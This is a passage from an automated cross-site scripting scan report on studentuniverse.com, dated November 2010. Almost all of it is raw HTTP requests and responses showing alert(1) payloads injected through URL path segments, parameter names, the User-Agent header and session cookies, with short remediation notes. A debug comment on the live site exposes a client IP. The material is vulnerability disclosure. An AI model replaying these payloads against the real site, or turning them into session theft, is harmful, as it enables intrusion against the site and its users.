HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 20:56:47 GMT; Path=/ Pragma: No-cache Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Content-Language: en Content-Length: 110 Date: Sat, 13 Nov 2010 20:56:47 GMT Connection: close Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
The requested resource (/includes/airsearchWait.jspcc1f8<script>alert(1)</script>278120a9d28) is not available
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 4f88d<script>alert(1)</script>178f2d367a9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /4f88d<script>alert(1)</script>178f2d367a9/ajax/search HTTP/1.1 Host: www.studentuniverse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 20:57:57 GMT; Path=/ Pragma: No-cache Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Content-Language: en Content-Length: 96 Date: Sat, 13 Nov 2010 20:57:56 GMT Connection: close Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
The requested resource (/4f88d<script>alert(1)</script>178f2d367a9/ajax/search) is not available
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload bb6c9<script>alert(1)</script>0169ef84b195bc526 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /bb6c9<script>alert(1)</script>0169ef84b195bc526/ajax/search?timestamp=1289702526366 HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Origin: http://www.studentuniverse.com Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; testCookie=; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload a98bb<script>alert(1)</script>4a1bd913bde was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /popups/flexibilityInfo.jspa98bb<script>alert(1)</script>4a1bd913bde HTTP/1.1 Host: www.studentuniverse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Tue, 14-Dec-2010 02:05:03 GMT; Path=/ Pragma: No-cache Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Content-Language: en Content-Length: 110 Date: Sun, 14 Nov 2010 02:05:02 GMT Connection: close Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
The requested resource (/popups/flexibilityInfo.jspa98bb<script>alert(1)</script>4a1bd913bde) is not available
1.71. http://www.studentuniverse.com/popups/flexibilityInfo.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.studentuniverse.com
Path:
/popups/flexibilityInfo.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5a7b0"-alert(1)-"35274d3829e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /popups/flexibilityInfo.jsp?5a7b0"-alert(1)-"35274d3829e=1 HTTP/1.1 Host: www.studentuniverse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Tue, 14-Dec-2010 02:05:03 GMT; Path=/ Pragma: No-cache Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Content-Language: en Date: Sun, 14 Nov 2010 02:05:02 GMT Connection: close Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
<!-- Begin cached content "flexibility_info" - updated on T ...[SNIP]... <script type="text/javascript"> pageTracker._trackPageview("/popups/flexibilityInfo.jsp?5a7b0"-alert(1)-"35274d3829e=1"); </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 3a1e9<script>alert(1)</script>dde9182a26 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /popups/verifiedUser.jsp3a1e9<script>alert(1)</script>dde9182a26 HTTP/1.1 Host: www.studentuniverse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Tue, 14-Dec-2010 02:05:04 GMT; Path=/ Pragma: No-cache Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Content-Language: en Content-Length: 106 Date: Sun, 14 Nov 2010 02:05:03 GMT Connection: close Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
The requested resource (/popups/verifiedUser.jsp3a1e9<script>alert(1)</script>dde9182a26) is not available
1.73. http://www.studentuniverse.com/popups/verifiedUser.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.studentuniverse.com
Path:
/popups/verifiedUser.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ad118"-alert(1)-"7f57db73431 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /popups/verifiedUser.jsp?ad118"-alert(1)-"7f57db73431=1 HTTP/1.1 Host: www.studentuniverse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Tue, 14-Dec-2010 02:05:04 GMT; Path=/ Pragma: No-cache Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Content-Language: en Date: Sun, 14 Nov 2010 02:05:03 GMT Connection: close Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
<div class="container"> <div id="popupTitle">You are a verified member.</div> <div class="scroll-pane"> <div id="popupContentArea">
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 420bb"-alert(1)-"21afd00a67e was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Build7.6.3.2_20/javascript/dynamic/dynamicInfo.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7420bb"-alert(1)-"21afd00a67e Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
var currentTime = new Date("Sat Nov 13 17:00:36 EST 2010");
loggedIn = false;
hasResults = false; var resultsPerPage = 20; var ipAddress = "174.121.222.18"; var userAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7420bb"-alert(1)-"21afd00a67e"; var clientId = "D908FC.14926";
function getCurrentDateRef() { return new Date(currentTime.getTime()); }
The value of the JSESSIONID cookie is copied into an HTML comment. The payload 97abe--><script>alert(1)</script>9b6a518e94f was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET / HTTP/1.1 Host: www.studentuniverse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D4097abe--><script>alert(1)</script>9b6a518e94f; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Set-Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D4097abe--><script>alert(1)</script>9b6a518e94f; Path=/ Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 20:56:57 GMT; Path=/ Pragma: No-cache Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Content-Language: en Date: Sat, 13 Nov 2010 20:56:57 GMT Connection: close Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" la ...[SNIP]... <!-- Debug Output Client ip address: 174.121.222.18 JSession ID: D908FC9041321ED5C843E95052313D4097abe--><script>alert(1)</script>9b6a518e94f Requested session id: D908FC9041321ED5C843E95052313D4097abe--> ...[SNIP]...
The value of the ClientID cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dfd55"-alert(1)-"2e28bc69875 was submitted in the ClientID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Build7.6.3.2_20/javascript/dynamic/dynamicInfo.js HTTP/1.1 Host: www.studentuniverse.com Proxy-Connection: keep-alive Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926dfd55"-alert(1)-"2e28bc69875; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0
var currentTime = new Date("Sat Nov 13 17:00:35 EST 2010");
loggedIn = false;
hasResults = false; var resultsPerPage = 20; var ipAddress = "174.121.222.18"; var userAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7"; var clientId = "D908FC.14926dfd55"-alert(1)-"2e28bc69875";
function getCurrentDateRef() { return new Date(currentTime.getTime()); }
The value of the JSESSIONID cookie is copied into an HTML comment. The payload ce5fd--><script>alert(1)</script>1f8bb9f03ec was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /fly/searchUtil HTTP/1.1 Host: www.studentuniverse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40ce5fd--><script>alert(1)</script>1f8bb9f03ec; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;
Response (redirected)
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 20:56:48 GMT; Path=/ Pragma: No-cache Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Content-Language: en Date: Sat, 13 Nov 2010 20:56:47 GMT Connection: close Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" la ...[SNIP]... <!-- Debug Output Client ip address: 174.121.222.18 JSession ID: D908FC9041321ED5C843E95052313D40ce5fd--><script>alert(1)</script>1f8bb9f03ec Requested session id: D908FC9041321ED5C843E95052313D40ce5fd--> ...[SNIP]...
The value of the JSESSIONID cookie is copied into an HTML comment. The payload 59c21--><script>alert(1)</script>42cc8276137 was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /grouptravelrequest HTTP/1.1 Host: www.studentuniverse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D4059c21--><script>alert(1)</script>42cc8276137; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Set-Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D4059c21--><script>alert(1)</script>42cc8276137; Path=/ Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Tue, 14-Dec-2010 02:05:12 GMT; Path=/ Pragma: No-cache Cache-Control: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Cache-Control: no-store Content-Type: text/html;charset=ISO-8859-1 Content-Language: en Date: Sun, 14 Nov 2010 02:05:12 GMT Connection: close Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang= ...[SNIP]... <!-- Debug Output Client ip address: 174.121.222.18 JSession ID: D908FC9041321ED5C843E95052313D4059c21--><script>alert(1)</script>42cc8276137 Requested session id: D908FC9041321ED5C843E95052313D4059c21--> ...[SNIP]...
The value of the JSESSIONID cookie is copied into an HTML comment. The payload f6846--><script>alert(1)</script>f6cf6d1d951 was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /includes/airsearchWait.jsp HTTP/1.1 Host: www.studentuniverse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40f6846--><script>alert(1)</script>f6cf6d1d951; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0; testCookie=; SuOriginatingAirport=HOU; ClientID=D908FC.14926;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5 Set-Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40f6846--><script>alert(1)</script>f6cf6d1d951; Path=/ Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 20:56:45 GMT; Path=/ Pragma: No-cache Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Content-Language: en Date: Sat, 13 Nov 2010 20:56:45 GMT Connection: close Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lan ...[SNIP]... <!-- Debug Output Client ip address: 174.121.222.18 JSession ID: D908FC9041321ED5C843E95052313D40f6846--><script>alert(1)</script>f6cf6d1d951 Requested session id: D908FC9041321ED5C843E95052313D40f6846--> ...[SNIP]...
Report generated by XSS.CX at Sun Nov 14 16:17:01 CST 2010.